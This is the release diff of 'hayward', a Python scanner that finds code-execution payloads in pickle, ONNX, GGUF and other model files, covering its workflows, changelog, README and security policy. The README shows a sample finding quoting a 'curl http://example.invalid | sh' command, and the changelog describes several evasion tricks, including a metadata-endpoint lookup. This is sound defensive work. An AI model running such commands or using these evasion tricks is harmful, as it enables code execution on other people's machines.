hayward 1.0.0__tar.gz

hayward-1.0.0/.claude/settings.local.json

@@ -0,0 +1,14 @@
+{
+  "permissions": {
+    "allow": [
+      "Bash(git -C /Users/kennethcox/Developer/projects/hayward log --oneline -20)",
+      "Bash(python3 -m hayward.gui)",
+      "Bash(uv venv *)",
+      "Bash(uv pip *)",
+      "Bash(.venv/bin/python -c \"import hayward; print\\('ok', hayward.__version__\\)\")",
+      "Bash(.venv/bin/python -m hayward.gui)",
+      "Bash(.venv/bin/python -m pytest tests/ -q)",
+      "Read(//Users/kennethcox/Developer/projects/**)"
+    ]
+  }
+}

hayward-1.0.0/.github/workflows/ci.yml

@@ -0,0 +1,37 @@
+name: CI
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+
+jobs:
+  test:
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.10", "3.11", "3.12", "3.13"]
+        os: [ubuntu-latest, macos-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+      - run: pip install -e ".[dev]"
+      - run: pytest
+      # The scanner reads hostile input, so a crash is a security defect and
+      # not merely a failed test. This runs the CLI over the test fixtures to
+      # catch anything that escapes as an unhandled exception.
+      - run: hayward scan tests --fail-on never
+        shell: bash
+
+  lint:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: "3.12"
+      - run: pip install -e ".[dev]"
+      - run: ruff check .

hayward-1.0.0/.github/workflows/publish.yml

@@ -0,0 +1,33 @@
+name: Publish to PyPI
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: "3.12"
+      - run: pip install build
+      - run: python -m build
+      - uses: actions/upload-artifact@v4
+        with:
+          name: dist
+          path: dist/
+
+  publish:
+    needs: build
+    runs-on: ubuntu-latest
+    environment: pypi
+    permissions:
+      id-token: write
+    steps:
+      - uses: actions/download-artifact@v4
+        with:
+          name: dist
+          path: dist/
+      - uses: pypa/gh-action-pypi-publish@release/v1

hayward-1.0.0/.gitignore

@@ -0,0 +1,12 @@
+__pycache__/
+*.py[cod]
+.venv/
+venv/
+*.egg-info/
+dist/
+build/
+.pytest_cache/
+.ruff_cache/
+.coverage
+htmlcov/
+.DS_Store

hayward-1.0.0/CHANGELOG.md

@@ -0,0 +1,88 @@
+# Changelog
+
+Notable changes, newest first. Versions follow [semantic versioning](https://semver.org).
+Rule identifiers are part of the public interface and will not be renamed
+within a major version.
+
+## 1.0.0 (2026-08-06)
+
+First release. The scanner was developed inside a larger static-analysis tool
+and is published here as a standalone package, with its own command line,
+desktop window and test suite.
+
+### Formats
+
+Pickle and every container that carries one (PyTorch zip and legacy layouts,
+joblib behind zlib, gzip, bz2, lzma or xz, NumPy `.npy` and `.npz`, TorchServe
+`.mar`, NVIDIA NeMo `.nemo`, skops), plus SafeTensors, GGUF, Keras H5 and
+`.keras`, ONNX, TensorFlow SavedModel, TFLite and PMML. Format is decided by
+magic bytes, and a file whose extension disagrees with its content is
+reported.
+
+### Detection
+
+- Pickle streams are walked as opcodes with `pickletools`. Nothing is
+  imported, deserialised or executed.
+- An unknown callable is judged by the arguments it was resolved with, not by
+  its name: a URL, a shell command, a `(host, port)` pair or a literal naming
+  a denied function each promote it to an actionable finding. This is what
+  catches gadgets that are on no list.
+- A second pickle stream carried as a bytes literal is scanned too
+  (`MFV-PICKLE-008`): `numpy.load(BytesIO(<pickle>))` is the pattern, where
+  the outer callable is on no deny list and the payload exists only once the
+  inner bytes are read.
+- Dotted `GLOBAL` names are resolved segment by segment, the way
+  `Unpickler.find_class` resolves them. `GLOBAL "torch" "serialization.os.system"`
+  reaches `os.system` on load, but a deny list keyed on the joined string sees
+  only `torch.serialization.os.system` and files it as unknown. The shape
+  appears in PickleBall's published corpus.
+- Container arithmetic is replayed against the file for GGUF, SafeTensors and
+  TFLite, covering the integer-overflow class behind CVE-2025-53630,
+  CVE-2026-27940, CVE-2026-33298 and CVE-2026-42627.
+- Tensor names are validated as paths wherever tooling would write them to
+  one, covering traversal segments, absolute and drive-absolute paths, and
+  embedded NUL or newline. Part of `MFV-ST-006` and `MFV-GGUF-005`.
+- ONNX `external_data` is checked for keys beyond the four the format
+  defines (CVE-2026-34445) and for locations that are absolute, traversing,
+  or off the filesystem entirely. A published proof of concept points a
+  location at `169.254.169.254`, so loading the model reaches the cloud
+  metadata endpoint (`MFV-ONNX-004`).
+- PMML is checked for external entity declarations, where the read primitive
+  needs no code execution at all.
+- Embedded PE, ELF and Mach-O images are reported. No serialisation format
+  writes one.
+
+### Coverage reporting
+
+Every failure to read a file produces a finding rather than silence.
+`MFV-SKIP-001`, `MFV-SKIP-002`, `MFV-SKIP-003`, `MFV-7Z-001` and
+`MFV-GGUF-004` all mean analysis did not complete, and
+`hayward.is_coverage_gap()` identifies them.
+
+This closes the exception-oriented evasion described in
+[arXiv 2508.19774](https://arxiv.org/abs/2508.19774), where a payload is
+placed behind a deliberate parse error so the scanner reports nothing while
+the target framework loads the file anyway. Both the raising and the silent
+variants are handled: a container walk that ends early is detected by checking
+that it consumed the whole file, since iteration ending is not proof the file
+ended.
+
+### Interfaces
+
+- `hayward scan` with text and JSON output, a configurable `--fail-on`
+  threshold, and `--fail-on-coverage` for builds that should not pass on an
+  unread file.
+- `hayward-gui`, a single tkinter window. No added dependency.
+- `ModelFileScanner.scan_file` and `.scan_directory` as the library API.
+
+### Measured position
+
+Against 215 hash-pinned models from the HuggingFace Hub: nothing above INFO,
+5 files in the INFO tier. Against picklescan's test corpus: 34 of 35 malicious
+files, the miss being a `.7z` archive with no extractor installed. Against
+PickleCloak: 49 of 57 exploits and 91 of 97 gadget chains. Against MalHug:
+87 of 87 read and detected, 86 naming the sink the corpus records.
+
+All self-measured against corpora that do not ship in this repository, using
+a harness that is not published yet. Not reproducible by a reader today; see
+docs/accuracy.md.

hayward-1.0.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Hedgerow
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

hayward-1.0.0/NOTICE

@@ -0,0 +1,20 @@
+Hayward
+Copyright (c) 2026 Hedgerow
+
+This product includes data derived from picklescan
+(https://github.com/mmaitre314/picklescan), copyright (c) Matthieu Maitre,
+licensed under the MIT License.
+
+Specifically, the list of dangerous global references in
+hayward/scanner.py (`PICKLE_DENIED_GLOBALS` and `_PICKLE_DENIED_MODULES`)
+was harvested from picklescan's `_unsafe_globals`, including its
+whole-module wildcard entries. Those entries carry inline comments in the
+source recording their origin.
+
+We measured what that data is worth rather than assuming it. Removing every
+picklescan-derived entry costs 9 of 35 detections on picklescan's own test
+corpus. The list is load-bearing, and picklescan deserves the credit.
+
+This product also depends on defusedxml (https://github.com/tiran/defusedxml),
+copyright (c) Christian Heimes, licensed under the Python Software Foundation
+License.

hayward-1.0.0/PKG-INFO

@@ -0,0 +1,175 @@
+Metadata-Version: 2.4
+Name: hayward
+Version: 1.0.0
+Summary: Security scanner for machine-learning model files: detects code execution in pickle, GGUF, ONNX, Keras and other checkpoints
+Project-URL: Homepage, https://github.com/hedgerow-dev/hayward
+Project-URL: Source, https://github.com/hedgerow-dev/hayward
+Project-URL: Issues, https://github.com/hedgerow-dev/hayward/issues
+Author-email: Hedgerow <hello@hedgerow.dev>
+License: MIT License
+        
+        Copyright (c) 2026 Hedgerow
+        
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+        
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+        
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE.
+License-File: LICENSE
+License-File: NOTICE
+Keywords: ai-security,deserialization,machine-learning,malware-detection,mlsecops,pickle,security,security-scanner,supply-chain,vulnerability-scanner
+Classifier: Development Status :: 5 - Production/Stable
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: Information Technology
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Security
+Classifier: Typing :: Typed
+Requires-Python: >=3.10
+Requires-Dist: defusedxml<1.0,>=0.7
+Provides-Extra: dev
+Requires-Dist: pytest<9.0,>=8.0; extra == 'dev'
+Requires-Dist: ruff<1.0,>=0.4; extra == 'dev'
+Description-Content-Type: text/markdown
+
+# Hayward
+
+**Security scanner for machine-learning model files.** Know whether a
+checkpoint will run code on your machine, before you load it.
+
+![License MIT](https://img.shields.io/badge/license-MIT-013D5A?style=flat-square&labelColor=013D5A)
+![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-013D5A?style=flat-square&labelColor=013D5A)
+![Rules 42](https://img.shields.io/badge/rules-42-013D5A?style=flat-square&labelColor=013D5A)
+![Dependencies 1](https://img.shields.io/badge/dependencies-1-708C69?style=flat-square&labelColor=013D5A)
+![No outbound calls](https://img.shields.io/badge/outbound_calls-none-F4A25B?style=flat-square&labelColor=013D5A)
+
+```bash
+pip install hayward
+hayward scan ./models
+```
+
+```
+CRITICAL MFV-PICKLE-001  checkpoints/model.pt
+         Pickle file references unsafe callable(s) that grant code/command
+         execution on load: posix.system('curl http://example.invalid | sh').
+
+1 finding(s): 1 critical
+```
+
+## The problem
+
+`torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
+from the file they read. That is not a bug, it is what pickle does.
+
+The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
+in that sentence. It is a program. Loading it is running it, on your laptop,
+with your credentials, as you.
+
+## Who it is for
+
+Teams that pull checkpoints from public hubs and want the check to run in a CI
+pipeline, on a laptop, or inside a regulated environment where nothing is
+allowed to leave the network.
+
+## What makes it different
+
+**It stays quiet.** Zero findings above INFO across 215 real models from the
+HuggingFace Hub, and five findings at INFO, the tier for content it could not
+verify. A gate that cries wolf gets switched off. That figure is
+**self-measured and not yet reproducible**: the corpus and harness are not
+published. [Accuracy](docs/accuracy.md) sets out what it does and does not
+support.
+
+**It tells you when it could not look.** A file it cannot parse produces an
+explicit finding, never silence. Attackers hide payloads behind deliberate
+parse errors, and a clean report should mean the file was read.
+
+**It catches gadgets nobody has listed.** Unknown callables are judged by the
+arguments they were handed, not by their name. A URL, a shell command, a host
+and port. That is what generalises past the deny list.
+
+**It installs anywhere.** One dependency, no model framework, no native
+extensions, no network. Python 3.10 and up.
+
+**It fits a build.** Documented exit codes, JSON output, a threshold you set.
+
+## What it scans
+
+| | Formats |
+|---|---|
+| **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
+| **Tensor containers** | SafeTensors, GGUF, TFLite |
+| **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
+
+24 extensions in total. **Format comes from magic bytes**, so a payload
+renamed `weights.safetensors` does not walk past on the strength of its
+extension.
+
+## Three ways to run it
+
+```bash
+hayward scan ./models                          # command line
+hayward scan ./models -f html -o report.html   # shareable report
+hayward-gui                                    # desktop window
+```
+
+```python
+from hayward import ModelFileScanner
+findings = ModelFileScanner().scan_directory(Path("models"))
+```
+
+## What a clean result means
+
+That Hayward read the files and recognised nothing dangerous in them. Not that
+the model is safe. It is a smoke alarm, not a survey of the building, and
+[coverage](docs/coverage.md) is the page where it owns up to the rooms it
+could not get into.
+
+## Documentation
+
+- [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
+- [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
+- [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
+- [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
+- [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
+
+## Contributing
+
+The most useful contribution is a file Hayward gets wrong. False alarms count
+just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
+then it may as well not exist.
+
+```bash
+git clone https://github.com/hedgerow-dev/hayward
+cd hayward && pip install -e ".[dev]" && pytest
+```
+
+## Security
+
+Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
+issue. Input that crashes the scanner counts: under a CI gate, a crash is
+indistinguishable from a scan that never ran.
+
+## Licence
+
+MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
+
+A *hayward* was the parish officer who walked the hedges, checked the gaps and
+impounded whatever had got through.

hayward-1.0.0/README.md

@@ -0,0 +1,124 @@
+# Hayward
+
+**Security scanner for machine-learning model files.** Know whether a
+checkpoint will run code on your machine, before you load it.
+
+![License MIT](https://img.shields.io/badge/license-MIT-013D5A?style=flat-square&labelColor=013D5A)
+![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-013D5A?style=flat-square&labelColor=013D5A)
+![Rules 42](https://img.shields.io/badge/rules-42-013D5A?style=flat-square&labelColor=013D5A)
+![Dependencies 1](https://img.shields.io/badge/dependencies-1-708C69?style=flat-square&labelColor=013D5A)
+![No outbound calls](https://img.shields.io/badge/outbound_calls-none-F4A25B?style=flat-square&labelColor=013D5A)
+
+```bash
+pip install hayward
+hayward scan ./models
+```
+
+```
+CRITICAL MFV-PICKLE-001  checkpoints/model.pt
+         Pickle file references unsafe callable(s) that grant code/command
+         execution on load: posix.system('curl http://example.invalid | sh').
+
+1 finding(s): 1 critical
+```
+
+## The problem
+
+`torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
+from the file they read. That is not a bug, it is what pickle does.
+
+The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
+in that sentence. It is a program. Loading it is running it, on your laptop,
+with your credentials, as you.
+
+## Who it is for
+
+Teams that pull checkpoints from public hubs and want the check to run in a CI
+pipeline, on a laptop, or inside a regulated environment where nothing is
+allowed to leave the network.
+
+## What makes it different
+
+**It stays quiet.** Zero findings above INFO across 215 real models from the
+HuggingFace Hub, and five findings at INFO, the tier for content it could not
+verify. A gate that cries wolf gets switched off. That figure is
+**self-measured and not yet reproducible**: the corpus and harness are not
+published. [Accuracy](docs/accuracy.md) sets out what it does and does not
+support.
+
+**It tells you when it could not look.** A file it cannot parse produces an
+explicit finding, never silence. Attackers hide payloads behind deliberate
+parse errors, and a clean report should mean the file was read.
+
+**It catches gadgets nobody has listed.** Unknown callables are judged by the
+arguments they were handed, not by their name. A URL, a shell command, a host
+and port. That is what generalises past the deny list.
+
+**It installs anywhere.** One dependency, no model framework, no native
+extensions, no network. Python 3.10 and up.
+
+**It fits a build.** Documented exit codes, JSON output, a threshold you set.
+
+## What it scans
+
+| | Formats |
+|---|---|
+| **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
+| **Tensor containers** | SafeTensors, GGUF, TFLite |
+| **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
+
+24 extensions in total. **Format comes from magic bytes**, so a payload
+renamed `weights.safetensors` does not walk past on the strength of its
+extension.
+
+## Three ways to run it
+
+```bash
+hayward scan ./models                          # command line
+hayward scan ./models -f html -o report.html   # shareable report
+hayward-gui                                    # desktop window
+```
+
+```python
+from hayward import ModelFileScanner
+findings = ModelFileScanner().scan_directory(Path("models"))
+```
+
+## What a clean result means
+
+That Hayward read the files and recognised nothing dangerous in them. Not that
+the model is safe. It is a smoke alarm, not a survey of the building, and
+[coverage](docs/coverage.md) is the page where it owns up to the rooms it
+could not get into.
+
+## Documentation
+
+- [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
+- [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
+- [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
+- [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
+- [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
+
+## Contributing
+
+The most useful contribution is a file Hayward gets wrong. False alarms count
+just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
+then it may as well not exist.
+
+```bash
+git clone https://github.com/hedgerow-dev/hayward
+cd hayward && pip install -e ".[dev]" && pytest
+```
+
+## Security
+
+Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
+issue. Input that crashes the scanner counts: under a CI gate, a crash is
+indistinguishable from a scan that never ran.
+
+## Licence
+
+MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
+
+A *hayward* was the parish officer who walked the hedges, checked the gaps and
+impounded whatever had got through.

hayward-1.0.0/SECURITY.md

@@ -0,0 +1,36 @@
+# Security policy
+
+## Reporting a vulnerability
+
+Email hello@hedgerow.dev. Please do not open a public issue for a security
+report.
+
+Include what you have: a file that reproduces it, the version, and what you
+expected. A minimal reproduction is worth more than a description.
+
+## What counts
+
+**Input that crashes the scanner is a security issue.** Hayward reads hostile
+files by design. It does not execute them, but it is a parser, and under a CI
+gate an unhandled exception is indistinguishable from a scan that never ran.
+An attacker who can crash the scanner has bypassed it.
+
+**A file that scans clean and should not** is a security issue. Include the
+file or a script that builds it.
+
+**A file that scans clean because Hayward could not read it** is a bug in the
+coverage reporting rather than a bypass, and still worth reporting. Every
+parse failure is supposed to produce a finding. If one does not, that is the
+defect.
+
+## What does not count
+
+Findings on files that are genuinely unusual are not vulnerabilities. The INFO
+tier exists for content the scanner cannot verify, and it is meant to be
+populated. If you think a rule is too noisy on real models, open an issue with
+the model rather than a security report.
+
+## Handling
+
+We will acknowledge within a few working days, agree a disclosure date with
+you, and credit you in the changelog unless you would rather we did not.